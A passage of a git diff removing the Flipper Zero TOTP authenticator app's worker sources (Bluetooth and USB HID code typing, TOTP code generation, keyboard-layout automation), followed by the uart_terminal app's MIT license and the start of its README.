previous_bt_name[TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN]; - uint8_t previous_bt_mac[TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN]; -#endif - AutomationKeyboardLayout keyboard_layout; -}; - -static inline bool totp_type_code_worker_stop_requested() { - return furi_thread_flags_get() & TotpBtTypeCodeWorkerEventStop; -} - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL -static void totp_type_code_worker_bt_set_app_mac(uint8_t* mac) { - uint8_t max_i; - size_t uid_size = furi_hal_version_uid_size(); - if(uid_size < TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN) { - max_i = uid_size; - } else { - max_i = TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN; - } - - const uint8_t* uid = (const uint8_t*)UID64_BASE; //-V566 - memcpy(mac, uid, max_i); - for(uint8_t i = max_i; i < TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN; i++) { - mac[i] = 0; - } - - mac[0] = 0b10; -} -#endif - -static void totp_type_code_worker_type_code(TotpBtTypeCodeWorkerContext* context) { - uint8_t i = 0; - do { - furi_delay_ms(500); - i++; - } while(!context->is_connected && i < 100 && !totp_type_code_worker_stop_requested()); - - if(context->is_connected && - furi_mutex_acquire(context->code_buffer_sync, 500) == FuriStatusOk) { - totp_type_code_worker_execute_automation( - &furi_hal_bt_hid_kb_press, - &furi_hal_bt_hid_kb_release, - context->code_buffer, - context->code_buffer_size, - context->flags, - context->keyboard_layout); - furi_mutex_release(context->code_buffer_sync); - } -} - -static int32_t totp_type_code_worker_callback(void* context) { - furi_check(context); - FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - TotpBtTypeCodeWorkerContext* bt_context = context; - - while(true) { - uint32_t flags = furi_thread_flags_wait( - TotpBtTypeCodeWorkerEventStop | TotpBtTypeCodeWorkerEventType, - FuriFlagWaitAny, - FuriWaitForever); - furi_check((flags & FuriFlagError) == 0); //-V562 - if(flags & TotpBtTypeCodeWorkerEventStop) break; - - if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { - if(flags & TotpBtTypeCodeWorkerEventType) { - totp_type_code_worker_type_code(bt_context); - } - - furi_mutex_release(context_mutex); - } - } - - furi_mutex_free(context_mutex); - - return 0; -} - -static void connection_status_changed_callback(BtStatus status, void* context) { - TotpBtTypeCodeWorkerContext* bt_context = context; - if(status == BtStatusConnected) { - bt_context->is_connected = true; - } else if(status < BtStatusConnected) { - bt_context->is_connected = false; - } -} - -void totp_bt_type_code_worker_start( - TotpBtTypeCodeWorkerContext* context, - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout) { - furi_check(context != NULL); - context->code_buffer = code_buffer; - context->code_buffer_size = code_buffer_size; - context->code_buffer_sync = code_buffer_sync; - context->keyboard_layout = keyboard_layout; - context->thread = furi_thread_alloc(); - furi_thread_set_name(context->thread, "TOTPBtHidWorker"); - furi_thread_set_stack_size(context->thread, 1024); - furi_thread_set_context(context->thread, context); - furi_thread_set_callback(context->thread, totp_type_code_worker_callback); - furi_thread_start(context->thread); -} - -void totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpBtTypeCodeWorkerEventStop); - furi_thread_join(context->thread); - furi_thread_free(context->thread); - context->thread = NULL; -} - -void totp_bt_type_code_worker_notify( - TotpBtTypeCodeWorkerContext* context, - TotpBtTypeCodeWorkerEvent event, - uint8_t flags) { - furi_check(context != NULL); - context->flags = flags; - furi_thread_flags_set(furi_thread_get_id(context->thread), event); -} - -TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init() { - TotpBtTypeCodeWorkerContext* context = malloc(sizeof(TotpBtTypeCodeWorkerContext)); - furi_check(context != NULL); - - context->bt = furi_record_open(RECORD_BT); - context->is_advertising = false; - context->is_connected = false; - bt_disconnect(context->bt); - furi_hal_bt_reinit(); - furi_delay_ms(200); - bt_keys_storage_set_storage_path(context->bt, HID_BT_KEYS_STORAGE_PATH); - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - memcpy( - &context->previous_bt_name[0], - furi_hal_bt_get_profile_adv_name(FuriHalBtProfileHidKeyboard), - TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN); - memcpy( - &context->previous_bt_mac[0], - furi_hal_bt_get_profile_mac_addr(FuriHalBtProfileHidKeyboard), - TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN); - char new_name[TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN]; - snprintf(new_name, sizeof(new_name), "%s TOTP Auth", furi_hal_version_get_name_ptr()); - uint8_t new_bt_mac[TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN]; - totp_type_code_worker_bt_set_app_mac(new_bt_mac); - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, new_name); - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, new_bt_mac); -#endif - - if(!bt_set_profile(context->bt, BtProfileHidKeyboard)) { - FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to keyboard HID profile"); - } - - furi_hal_bt_start_advertising(); - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - bt_enable_peer_key_update(context->bt); -#endif - - context->is_advertising = true; - bt_set_status_changed_callback(context->bt, connection_status_changed_callback, context); - - return context; -} - -void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context) { - furi_check(context != NULL); - - if(context->thread != NULL) { - totp_bt_type_code_worker_stop(context); - } - - bt_set_status_changed_callback(context->bt, NULL, NULL); - - furi_hal_bt_stop_advertising(); - context->is_advertising = false; - context->is_connected = false; - - bt_disconnect(context->bt); - furi_delay_ms(200); - bt_keys_storage_set_default_path(context->bt); - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, context->previous_bt_name); - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, context->previous_bt_mac); -#endif - - if(!bt_set_profile(context->bt, BtProfileSerial)) { - FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to Serial profile"); - } - furi_record_close(RECORD_BT); - context->bt = NULL; - - free(context); -} - -bool totp_bt_type_code_worker_is_advertising(const TotpBtTypeCodeWorkerContext* context) { - return context->is_advertising; -} \ No newline at end of file diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.h b/applications/external/totp/workers/bt_type_code/bt_type_code.h deleted file mode 100644 index 1b9db9bee..000000000 --- a/applications/external/totp/workers/bt_type_code/bt_type_code.h +++ /dev/null @@ -1,82 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/automation_kb_layout.h" - -typedef uint8_t TotpBtTypeCodeWorkerEvent; - -typedef struct TotpBtTypeCodeWorkerContext TotpBtTypeCodeWorkerContext; - -/** - * @brief Bluetooth token input automation worker events - */ -enum TotpBtTypeCodeWorkerEvents { - - /** - * @brief Reserved, should not be used anywhere - */ - TotpBtTypeCodeWorkerEventReserved = 0b00, - - /** - * @brief Stop worker - */ - TotpBtTypeCodeWorkerEventStop = 0b01, - - /** - * @brief Trigger token input automation - */ - TotpBtTypeCodeWorkerEventType = 0b10 -}; - -/** - * @brief Initializes bluetooth token input automation worker - * @return worker context - */ -TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init(); - -/** - * @brief Disposes bluetooth token input automation worker and releases all the allocated resources - * @param context worker context - */ -void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context); - -/** - * @brief Starts bluetooth token input automation worker - * @param context worker context - * @param code_buffer code buffer to be used to automate - * @param code_buffer_size code buffer size - * @param code_buffer_sync code buffer synchronization primitive - * @param keyboard_layout keyboard layout to be used - */ -void totp_bt_type_code_worker_start( - TotpBtTypeCodeWorkerContext* context, - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout); - -/** - * @brief Stops bluetooth token input automation worker - * @param context worker context - */ -void totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context); - -/** - * @brief Notifies bluetooth token input automation worker with a given event - * @param context worker context - * @param event event to notify worker with - * @param flags event flags - */ -void totp_bt_type_code_worker_notify( - TotpBtTypeCodeWorkerContext* context, - TotpBtTypeCodeWorkerEvent event, - uint8_t flags); - -/** - * @brief Gets information whether Bluetooth is advertising now or not - * @param context worker context - * @return \c true if Bluetooth is advertising now; \c false otherwise - */ -bool totp_bt_type_code_worker_is_advertising(const TotpBtTypeCodeWorkerContext* context); diff --git a/applications/external/totp/workers/generate_totp_code/generate_totp_code.c b/applications/external/totp/workers/generate_totp_code/generate_totp_code.c deleted file mode 100644 index 20a7bb54c..000000000 --- a/applications/external/totp/workers/generate_totp_code/generate_totp_code.c +++ /dev/null @@ -1,199 +0,0 @@ -#include "generate_totp_code.h" -#include -#include -#include "../../services/crypto/crypto_facade.h" -#include "../../services/totp/totp.h" -#include "../../services/convert/convert.h" -#include -#include - -#define ONE_SEC_MS (1000) - -struct TotpGenerateCodeWorkerContext { - char* code_buffer; - FuriThread* thread; - FuriMutex* code_buffer_sync; - const TokenInfo* token_info; - float timezone_offset; - const CryptoSettings* crypto_settings; - TOTP_NEW_CODE_GENERATED_HANDLER on_new_code_generated_handler; - void* on_new_code_generated_handler_context; - TOTP_CODE_LIFETIME_CHANGED_HANDLER on_code_lifetime_changed_handler; - void* on_code_lifetime_changed_handler_context; -}; - -static const char STEAM_ALGO_ALPHABET[] = "23456789BCDFGHJKMNPQRTVWXY"; - -static void - int_token_to_str(uint64_t i_token_code, char* str, TokenDigitsCount len, TokenHashAlgo algo) { - char* last_char = str + len; - *last_char = '\0'; - if(i_token_code == OTP_ERROR) { - memset(str, '-', len); - } else { - if(algo == TokenHashAlgoSteam) { - char* s = str; - for(uint8_t i = 0; i < len; i++, s++) { - *s = STEAM_ALGO_ALPHABET[i_token_code % 26]; - i_token_code = i_token_code / 26; - } - } else { - char* s = --last_char; - for(int8_t i = len - 1; i >= 0; i--, s--) { - *s = CONVERT_DIGIT_TO_CHAR(i_token_code % 10); - i_token_code = i_token_code / 10; - } - } - } -} - -static TOTP_ALGO get_totp_algo_impl(TokenHashAlgo algo) { - switch(algo) { - case TokenHashAlgoSha1: - case TokenHashAlgoSteam: - return TOTP_ALGO_SHA1; - case TokenHashAlgoSha256: - return TOTP_ALGO_SHA256; - case TokenHashAlgoSha512: - return TOTP_ALGO_SHA512; - default: - break; - } - - return NULL; -} - -static void generate_totp_code( - TotpGenerateCodeWorkerContext* context, - const TokenInfo* token_info, - uint32_t current_ts) { - if(token_info->token != NULL && token_info->token_length > 0) { - size_t key_length; - uint8_t* key = totp_crypto_decrypt( - token_info->token, token_info->token_length, context->crypto_settings, &key_length); - - int_token_to_str( - totp_at( - get_totp_algo_impl(token_info->algo), - key, - key_length, - current_ts, - context->timezone_offset, - token_info->duration), - context->code_buffer, - token_info->digits, - token_info->algo); - memset_s(key, key_length, 0, key_length); - free(key); - } else { - int_token_to_str(0, context->code_buffer, token_info->digits, token_info->algo); - } -} - -static int32_t totp_generate_worker_callback(void* context) { - furi_check(context); - - TotpGenerateCodeWorkerContext* t_context = context; - - while(true) { - uint32_t flags = furi_thread_flags_wait( - TotpGenerateCodeWorkerEventStop | TotpGenerateCodeWorkerEventForceUpdate, - FuriFlagWaitAny, - ONE_SEC_MS); - - if(flags == - (uint32_t) - FuriFlagErrorTimeout) { // If timeout, consider as no error, as we expect this and can handle gracefully - flags = 0; - } - - furi_check((flags & FuriFlagError) == 0); //-V562 - - if(flags & TotpGenerateCodeWorkerEventStop) break; - - const TokenInfo* token_info = t_context->token_info; - if(token_info == NULL) { - continue; - } - - uint32_t curr_ts = furi_hal_rtc_get_timestamp(); - - bool time_left = false; - if(flags & TotpGenerateCodeWorkerEventForceUpdate || - (time_left = (curr_ts % token_info->duration) == 0)) { - if(furi_mutex_acquire(t_context->code_buffer_sync, FuriWaitForever) == FuriStatusOk) { - generate_totp_code(t_context, token_info, curr_ts); - curr_ts = furi_hal_rtc_get_timestamp(); - furi_mutex_release(t_context->code_buffer_sync); - if(t_context->on_new_code_generated_handler != NULL) { - (*(t_context->on_new_code_generated_handler))( - time_left, t_context->on_new_code_generated_handler_context); - } - } - } - - if(t_context->on_code_lifetime_changed_handler != NULL) { - (*(t_context->on_code_lifetime_changed_handler))( - (float)(token_info->duration - curr_ts % token_info->duration) / - (float)token_info->duration, - t_context->on_code_lifetime_changed_handler_context); - } - } - - return 0; -} - -TotpGenerateCodeWorkerContext* totp_generate_code_worker_start( - char* code_buffer, - const TokenInfo* token_info, - FuriMutex* code_buffer_sync, - float timezone_offset, - const CryptoSettings* crypto_settings) { - TotpGenerateCodeWorkerContext* context = malloc(sizeof(TotpGenerateCodeWorkerContext)); - furi_check(context != NULL); - context->code_buffer = code_buffer; - context->token_info = token_info; - context->code_buffer_sync = code_buffer_sync; - context->timezone_offset = timezone_offset; - context->crypto_settings = crypto_settings; - context->thread = furi_thread_alloc(); - furi_thread_set_name(context->thread, "TOTPGenerateWorker"); - furi_thread_set_stack_size(context->thread, 2048); - furi_thread_set_context(context->thread, context); - furi_thread_set_callback(context->thread, totp_generate_worker_callback); - furi_thread_start(context->thread); - return context; -} - -void totp_generate_code_worker_stop(TotpGenerateCodeWorkerContext* context) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpGenerateCodeWorkerEventStop); - furi_thread_join(context->thread); - furi_thread_free(context->thread); - free(context); -} - -void totp_generate_code_worker_notify( - TotpGenerateCodeWorkerContext* context, - TotpGenerateCodeWorkerEvent event) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), event); -} - -void totp_generate_code_worker_set_code_generated_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_NEW_CODE_GENERATED_HANDLER on_new_code_generated_handler, - void* on_new_code_generated_handler_context) { - furi_check(context != NULL); - context->on_new_code_generated_handler = on_new_code_generated_handler; - context->on_new_code_generated_handler_context = on_new_code_generated_handler_context; -} - -void totp_generate_code_worker_set_lifetime_changed_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_CODE_LIFETIME_CHANGED_HANDLER on_code_lifetime_changed_handler, - void* on_code_lifetime_changed_handler_context) { - furi_check(context != NULL); - context->on_code_lifetime_changed_handler = on_code_lifetime_changed_handler; - context->on_code_lifetime_changed_handler_context = on_code_lifetime_changed_handler_context; -} \ No newline at end of file diff --git a/applications/external/totp/workers/generate_totp_code/generate_totp_code.h b/applications/external/totp/workers/generate_totp_code/generate_totp_code.h deleted file mode 100644 index eb234313e..000000000 --- a/applications/external/totp/workers/generate_totp_code/generate_totp_code.h +++ /dev/null @@ -1,86 +0,0 @@ -#pragma once - -#include -#include -#include "../../types/token_info.h" - -typedef uint8_t TotpGenerateCodeWorkerEvent; - -typedef void (*TOTP_NEW_CODE_GENERATED_HANDLER)(bool time_left, void* context); -typedef void (*TOTP_CODE_LIFETIME_CHANGED_HANDLER)(float code_lifetime_percent, void* context); - -typedef struct TotpGenerateCodeWorkerContext TotpGenerateCodeWorkerContext; - -/** - * @brief Generate token worker events - */ -enum TotGenerateCodeWorkerEvents { - - /** - * @brief Reserved, should not be used anywhere - */ - TotpGenerateCodeWorkerEventReserved = 0b00, - - /** - * @brief Stop worker - */ - TotpGenerateCodeWorkerEventStop = 0b01, - - /** - * @brief Trigger token input automation - */ - TotpGenerateCodeWorkerEventForceUpdate = 0b10 -}; - -/** - * @brief Starts generate code worker - * @param code_buffer code buffer to generate code to - * @param token_info token info to be used to generate code - * @param code_buffer_sync code buffer synchronization primitive - * @param timezone_offset timezone offset to be used to generate code - * @param crypto_settings crypto settings - * @return worker context - */ -TotpGenerateCodeWorkerContext* totp_generate_code_worker_start( - char* code_buffer, - const TokenInfo* token_info, - FuriMutex* code_buffer_sync, - float timezone_offset, - const CryptoSettings* crypto_settings); - -/** - * @brief Stops generate code worker - * @param context worker context - */ -void totp_generate_code_worker_stop(TotpGenerateCodeWorkerContext* context); - -/** - * @brief Notifies generate code worker with a given event - * @param context worker context - * @param event event to notify worker with - */ -void totp_generate_code_worker_notify( - TotpGenerateCodeWorkerContext* context, - TotpGenerateCodeWorkerEvent event); - -/** - * @brief Sets new handler for "on new code generated" event - * @param context worker context - * @param on_new_code_generated_handler handler - * @param on_new_code_generated_handler_context handler context - */ -void totp_generate_code_worker_set_code_generated_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_NEW_CODE_GENERATED_HANDLER on_new_code_generated_handler, - void* on_new_code_generated_handler_context); - -/** - * @brief Sets new handler for "on code lifetime changed" event - * @param context worker context - * @param on_code_lifetime_changed_handler handler - * @param on_code_lifetime_changed_handler_context handler context - */ -void totp_generate_code_worker_set_lifetime_changed_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_CODE_LIFETIME_CHANGED_HANDLER on_code_lifetime_changed_handler, - void* on_code_lifetime_changed_handler_context); \ No newline at end of file diff --git a/applications/external/totp/workers/type_code_common.c b/applications/external/totp/workers/type_code_common.c deleted file mode 100644 index 122c0b2a5..000000000 --- a/applications/external/totp/workers/type_code_common.c +++ /dev/null @@ -1,109 +0,0 @@ -#include "type_code_common.h" -#include -#include -#include "../../services/convert/convert.h" - -#define HID_KEYS_MAP_LENGTH (36) - -static const uint8_t hid_qwerty_keys_map[HID_KEYS_MAP_LENGTH] = { - HID_KEYBOARD_0, HID_KEYBOARD_1, HID_KEYBOARD_2, HID_KEYBOARD_3, HID_KEYBOARD_4, - HID_KEYBOARD_5, HID_KEYBOARD_6, HID_KEYBOARD_7, HID_KEYBOARD_8, HID_KEYBOARD_9, - HID_KEYBOARD_A, HID_KEYBOARD_B, HID_KEYBOARD_C, HID_KEYBOARD_D, HID_KEYBOARD_E, - HID_KEYBOARD_F, HID_KEYBOARD_G, HID_KEYBOARD_H, HID_KEYBOARD_I, HID_KEYBOARD_J, - HID_KEYBOARD_K, HID_KEYBOARD_L, HID_KEYBOARD_M, HID_KEYBOARD_N, HID_KEYBOARD_O, - HID_KEYBOARD_P, HID_KEYBOARD_Q, HID_KEYBOARD_R, HID_KEYBOARD_S, HID_KEYBOARD_T, - HID_KEYBOARD_U, HID_KEYBOARD_V, HID_KEYBOARD_W, HID_KEYBOARD_X, HID_KEYBOARD_Y, - HID_KEYBOARD_Z}; - -static const uint8_t hid_azerty_keys_map[HID_KEYS_MAP_LENGTH] = { - HID_KEYBOARD_0, HID_KEYBOARD_1, HID_KEYBOARD_2, HID_KEYBOARD_3, HID_KEYBOARD_4, - HID_KEYBOARD_5, HID_KEYBOARD_6, HID_KEYBOARD_7, HID_KEYBOARD_8, HID_KEYBOARD_9, - HID_KEYBOARD_Q, HID_KEYBOARD_B, HID_KEYBOARD_C, HID_KEYBOARD_D, HID_KEYBOARD_E, - HID_KEYBOARD_F, HID_KEYBOARD_G, HID_KEYBOARD_H, HID_KEYBOARD_I, HID_KEYBOARD_J, - HID_KEYBOARD_K, HID_KEYBOARD_L, HID_KEYBOARD_SEMICOLON, HID_KEYBOARD_N, HID_KEYBOARD_O, - HID_KEYBOARD_P, HID_KEYBOARD_A, HID_KEYBOARD_R, HID_KEYBOARD_S, HID_KEYBOARD_T, - HID_KEYBOARD_U, HID_KEYBOARD_V, HID_KEYBOARD_Z, HID_KEYBOARD_X, HID_KEYBOARD_Y, - HID_KEYBOARD_W}; - -static uint32_t get_keystroke_delay(TokenAutomationFeature features) { - if(features & TokenAutomationFeatureTypeSlower) { - return 100; - } - - return 30; -} - -static uint32_t get_keypress_delay(TokenAutomationFeature features) { - if(features & TokenAutomationFeatureTypeSlower) { - return 60; - } - - return 30; -} - -static void totp_type_code_worker_press_key( - uint16_t key, - TOTP_AUTOMATION_KEY_HANDLER key_press_fn, - TOTP_AUTOMATION_KEY_HANDLER key_release_fn, - TokenAutomationFeature features) { - (*key_press_fn)(key); - furi_delay_ms(get_keypress_delay(features)); - (*key_release_fn)(key); -} - -void totp_type_code_worker_execute_automation( - TOTP_AUTOMATION_KEY_HANDLER key_press_fn, - TOTP_AUTOMATION_KEY_HANDLER key_release_fn, - const char* code_buffer, - uint8_t code_buffer_size, - TokenAutomationFeature features, - AutomationKeyboardLayout keyboard_layout) { - furi_delay_ms(500); - uint8_t i = 0; - char cb_char; - - const uint8_t* keyboard_layout_dict; - switch(keyboard_layout) { - case AutomationKeyboardLayoutQWERTY: - keyboard_layout_dict = &hid_qwerty_keys_map[0]; - break; - case AutomationKeyboardLayoutAZERTY: - keyboard_layout_dict = &hid_azerty_keys_map[0]; - break; - - default: - return; - } - - while(i < code_buffer_size && (cb_char = code_buffer[i]) != 0) { - uint8_t char_index = CONVERT_CHAR_TO_DIGIT(cb_char); - if(char_index > 9) { - char_index = cb_char - 'A' + 10; - } - - if(char_index >= HID_KEYS_MAP_LENGTH) break; - - uint16_t hid_kb_key = keyboard_layout_dict[char_index]; - - // For non-AZERTY press shift for all non-digit chars - // For AZERTY press shift for all characters - if(char_index > 9 || keyboard_layout == AutomationKeyboardLayoutAZERTY) { - hid_kb_key |= KEY_MOD_LEFT_SHIFT; - } - - totp_type_code_worker_press_key(hid_kb_key, key_press_fn, key_release_fn, features); - furi_delay_ms(get_keystroke_delay(features)); - i++; - } - - if(features & TokenAutomationFeatureEnterAtTheEnd) { - furi_delay_ms(get_keystroke_delay(features)); - totp_type_code_worker_press_key( - HID_KEYBOARD_RETURN, key_press_fn, key_release_fn, features); - } - - if(features & TokenAutomationFeatureTabAtTheEnd) { - furi_delay_ms(get_keystroke_delay(features)); - totp_type_code_worker_press_key(HID_KEYBOARD_TAB, key_press_fn, key_release_fn, features); - } -} \ No newline at end of file diff --git a/applications/external/totp/workers/type_code_common.h b/applications/external/totp/workers/type_code_common.h deleted file mode 100644 index 81b273c36..000000000 --- a/applications/external/totp/workers/type_code_common.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once -#include -#include "../types/token_info.h" -#include "../types/automation_kb_layout.h" - -typedef bool (*TOTP_AUTOMATION_KEY_HANDLER)(uint16_t key); - -/** - * @brief Executes token input automation using given key press\release handlers - * @param key_press_fn key press handler - * @param key_release_fn key release handler - * @param code_buffer code buffer to be typed - * @param code_buffer_size code buffer size - * @param features automation features - * @param keyboard_layout keyboard layout to be used - */ -void totp_type_code_worker_execute_automation( - TOTP_AUTOMATION_KEY_HANDLER key_press_fn, - TOTP_AUTOMATION_KEY_HANDLER key_release_fn, - const char* code_buffer, - uint8_t code_buffer_size, - TokenAutomationFeature features, - AutomationKeyboardLayout keyboard_layout); \ No newline at end of file diff --git a/applications/external/totp/workers/usb_type_code/usb_type_code.c b/applications/external/totp/workers/usb_type_code/usb_type_code.c deleted file mode 100644 index 4e3259424..000000000 --- a/applications/external/totp/workers/usb_type_code/usb_type_code.c +++ /dev/null @@ -1,122 +0,0 @@ -#include "usb_type_code.h" -#include -#include -#include -#include -#include -#include "../../services/convert/convert.h" -#include "../../types/token_info.h" -#include "../type_code_common.h" - -struct TotpUsbTypeCodeWorkerContext { - char* code_buffer; - uint8_t code_buffer_size; - uint8_t flags; - FuriThread* thread; - FuriMutex* code_buffer_sync; - FuriHalUsbInterface* usb_mode_prev; - AutomationKeyboardLayout keyboard_layout; -}; - -static void totp_type_code_worker_restore_usb_mode(TotpUsbTypeCodeWorkerContext* context) { - if(context->usb_mode_prev != NULL) { - furi_hal_usb_set_config(context->usb_mode_prev, NULL); - context->usb_mode_prev = NULL; - } -} - -static inline bool totp_type_code_worker_stop_requested() { - return furi_thread_flags_get() & TotpUsbTypeCodeWorkerEventStop; -} - -static void totp_type_code_worker_type_code(TotpUsbTypeCodeWorkerContext* context) { - context->usb_mode_prev = furi_hal_usb_get_config(); - furi_hal_usb_unlock(); - furi_check(furi_hal_usb_set_config(&usb_hid, NULL) == true); - uint8_t i = 0; - do { - furi_delay_ms(500); - i++; - } while(!furi_hal_hid_is_connected() && i < 100 && !totp_type_code_worker_stop_requested()); - - if(furi_hal_hid_is_connected() && - furi_mutex_acquire(context->code_buffer_sync, 500) == FuriStatusOk) { - totp_type_code_worker_execute_automation( - &furi_hal_hid_kb_press, - &furi_hal_hid_kb_release, - context->code_buffer, - context->code_buffer_size, - context->flags, - context->keyboard_layout); - furi_mutex_release(context->code_buffer_sync); - - furi_delay_ms(100); - } - - totp_type_code_worker_restore_usb_mode(context); -} - -static int32_t totp_type_code_worker_callback(void* context) { - furi_check(context); - FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - while(true) { - uint32_t flags = furi_thread_flags_wait( - TotpUsbTypeCodeWorkerEventStop | TotpUsbTypeCodeWorkerEventType, - FuriFlagWaitAny, - FuriWaitForever); - furi_check((flags & FuriFlagError) == 0); //-V562 - if(flags & TotpUsbTypeCodeWorkerEventStop) break; - - if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { - if(flags & TotpUsbTypeCodeWorkerEventType) { - totp_type_code_worker_type_code(context); - } - - furi_mutex_release(context_mutex); - } - } - - furi_mutex_free(context_mutex); - - return 0; -} - -TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout) { - TotpUsbTypeCodeWorkerContext* context = malloc(sizeof(TotpUsbTypeCodeWorkerContext)); - furi_check(context != NULL); - context->code_buffer = code_buffer; - context->code_buffer_size = code_buffer_size; - context->code_buffer_sync = code_buffer_sync; - context->thread = furi_thread_alloc(); - context->usb_mode_prev = NULL; - context->keyboard_layout = keyboard_layout; - furi_thread_set_name(context->thread, "TOTPUsbHidWorker"); - furi_thread_set_stack_size(context->thread, 1024); - furi_thread_set_context(context->thread, context); - furi_thread_set_callback(context->thread, totp_type_code_worker_callback); - furi_thread_start(context->thread); - return context; -} - -void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpUsbTypeCodeWorkerEventStop); - furi_thread_join(context->thread); - furi_thread_free(context->thread); - totp_type_code_worker_restore_usb_mode(context); - free(context); -} - -void totp_usb_type_code_worker_notify( - TotpUsbTypeCodeWorkerContext* context, - TotpUsbTypeCodeWorkerEvent event, - uint8_t flags) { - furi_check(context != NULL); - context->flags = flags; - furi_thread_flags_set(furi_thread_get_id(context->thread), event); -} \ No newline at end of file diff --git a/applications/external/totp/workers/usb_type_code/usb_type_code.h b/applications/external/totp/workers/usb_type_code/usb_type_code.h deleted file mode 100644 index d2d1bdf82..000000000 --- a/applications/external/totp/workers/usb_type_code/usb_type_code.h +++ /dev/null @@ -1,62 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/automation_kb_layout.h" - -typedef uint8_t TotpUsbTypeCodeWorkerEvent; - -typedef struct TotpUsbTypeCodeWorkerContext TotpUsbTypeCodeWorkerContext; - -/** - * @brief USB token input automation worker events - */ -enum TotpUsbTypeCodeWorkerEvents { - - /** - * @brief Reserved, should not be used anywhere - */ - TotpUsbTypeCodeWorkerEventReserved = 0b00, - - /** - * @brief Stop worker - */ - TotpUsbTypeCodeWorkerEventStop = 0b01, - - /** - * @brief Trigger token input automation - */ - TotpUsbTypeCodeWorkerEventType = 0b10 -}; - -/** - * @brief Starts USB token input automation worker - * @param code_buffer code buffer to be used to automate - * @param code_buffer_size code buffer size - * @param code_buffer_sync code buffer synchronization primitive - * @param keyboard_layout keyboard layout to be used - * @return worker context - */ -TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout); - -/** - * @brief Stops USB token input automation worker - * @param context worker context - */ -void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context); - -/** - * @brief Notifies USB token input automation worker with a given event - * @param context worker context - * @param event event to notify worker with - * @param flags event flags - */ -void totp_usb_type_code_worker_notify( - TotpUsbTypeCodeWorkerContext* context, - TotpUsbTypeCodeWorkerEvent event, - uint8_t flags); diff --git a/applications/external/uart_terminal/LICENSE b/applications/external/uart_terminal/LICENSE deleted file mode 100644 index c4613e7ea..000000000 --- a/applications/external/uart_terminal/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -MIT License - -Copyright (c) 2023 Malik cool4uma - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/applications/external/uart_terminal/README.md b/applications/external/uart_terminal/README.md deleted file mode 100644 index b4a0db6cf..000000000 --- a/applications/external/uart_terminal/README.md +++ /dev/null @@ -1,50 +0,0 @@ -# UART Terminal for Flipper Zero -[Flipper 